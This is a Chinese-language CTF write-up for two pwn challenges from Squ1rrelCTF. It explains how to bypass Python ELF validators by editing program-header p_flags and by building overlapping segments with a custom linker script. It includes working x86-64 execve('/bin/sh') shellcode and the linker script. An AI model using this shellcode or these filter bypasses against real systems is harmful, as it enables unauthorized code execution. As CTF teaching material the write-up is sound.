nyyyddddn

Squ1rrelCTF

2025/04/09

pwn

Extremely Lame Filters 1

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3

from elf import *
from base64 import b64decode

data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!!"))
elf = parse(data)

for section in elf.sections:
if section.sh_flags & SectionFlags.EXECINSTR:
raise ValidationException("!!")

elf.run()

https://www.man7.org/linux/man-pages/man5/elf.5.html

程序检查 elf中是否存在 sh_flags设置过execinstr标志位的section来判断是否存在有可执行权限的段,但实际上段的权限和program header的p_flags标志位有关,所以可以通过修改sh_flags以及p_flags的值去绕过上面的检查执行shellcode

program_header_table是一个描述程序的每个段如何加载到内存的表,它定义了进程运行时内存布局

program_header_table的位置可以通过elf_header中PHT的偏移找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
lhj@lhj-virtual-machine:~/Desktop/squ1rrel/Extremely Lame Filters 1$ readelf -a shellcode
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x401000
Start of program headers: 64 (bytes into file)
Start of section headers: 4336 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 2
Size of section headers: 64 (bytes)
Number of section headers: 5
Section header string table index: 4

成员的结构如下 每个成员的解释可以在man7中找到 https://www.man7.org/linux/man-pages/man5/elf.5.html

1
2
3
4
5
6
7
8
9
10
typedef struct {
uint32_t p_type;
uint32_t p_flags;
Elf64_Off p_offset;
Elf64_Addr p_vaddr;
Elf64_Addr p_paddr;
uint64_t p_filesz;
uint64_t p_memsz;
uint64_t p_align;
} Elf64_Phdr;

我们关注p_flags这个成员,这个成员描述section加载到内存后segment的属性,有PF_X PF_W PF_R三个标志位,存储上分别是1 2 4,如果要让段有rwx的权限,只需要将p_flags的值修改成7就行。

1
2
3
4
5
6
7
8
9
10
p_flags
This member holds a bit mask of flags relevant to the
segment:

PF_X An executable segment.
PF_W A writable segment.
PF_R A readable segment.

A text segment commonly has the flags PF_X and PF_R. A
data segment commonly has PF_W and PF_R.

section_header_table 是一个描述每个节基本信息的数组可以通过elf_header中的 SHT偏移找到,和上面方法相同。

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct {
uint32_t sh_name;
uint32_t sh_type;
uint64_t sh_flags;
Elf64_Addr sh_addr;
Elf64_Off sh_offset;
uint64_t sh_size;
uint32_t sh_link;
uint32_t sh_info;
uint64_t sh_addralign;
uint64_t sh_entsize;
} Elf64_Shdr;

sh_flags的解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sh_flags
Sections support one-bit flags that describe miscellaneous
attributes. If a flag bit is set in sh_flags, the
attribute is "on" for the section. Otherwise, the
attribute is "off" or does not apply. Undefined attributes
are set to zero.

SHF_WRITE
This section contains data that should be writable
during process execution.

SHF_ALLOC
This section occupies memory during process
execution. Some control sections do not reside in
the memory image of an object file. This attribute
is off for those sections.

SHF_EXECINSTR
This section contains executable machine
instructions.

SHF_MASKPROC
All bits included in this mask are reserved for
processor-specific semantics.

shellcode.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
; nasm -f elf64 -o shellcode.o shellcode.asm
; ld shellcode.o -o shellcode
section .data
global _start
_start:
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall

编译shellcode.asm,因为data段的sh_flags中的EXECINSTR标志位默认不会设置所以不需要修改,然后在program header有关data section的p_flags加上PF-X的标志位就能绕过检查getshell

Extremely Lame Filters 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3

from elf import *
from base64 import b64decode

data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!! (almost any)"))
elf = parse(data)

if elf.header.e_type != constants.ET_EXEC:
print("!!")
exit(1)

for segment in elf.segments:
if segment.p_flags & SegmentFlags.X:
content = elf.content(segment)
for byte in content:
if byte != 0:
print(">:(")
exit(1)

elf.run()

有可执行权限的段,不能包含00以外的字节。可以构造两个内存重叠的段,利用加载器处理段权限的逻辑去绕过这个检查

通过自定义链接器脚本去实现构造重叠段的elf

link.ld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ENTRY(_start)

PHDRS {
data PT_LOAD FLAGS (6); /* RW */
zeroexec PT_LOAD FLAGS (5); /* RX */
}

SECTIONS {
.text 0x400000 : AT(0x1000) {
*(.text)
*(.data)
} :data

.zeroexec 0x400100 : {
. = 0x100;
} :zeroexec

/DISCARD/ : {
*(.comment)
}
}

shellcode.asm

1
2
3
4
5
6
7
8
9
10
11
12
section .data
global _start
_start:
mov rax, 59
lea rdi, [rel sh]
xor rsi, rsi
xor rdx, rdx
syscall
sh: db '/bin/sh',0

section .zeroexec
times 0x100 db 0
CATALOG
  1. 1. pwn
    1. 1.1. Extremely Lame Filters 1
    2. 1.2. Extremely Lame Filters 2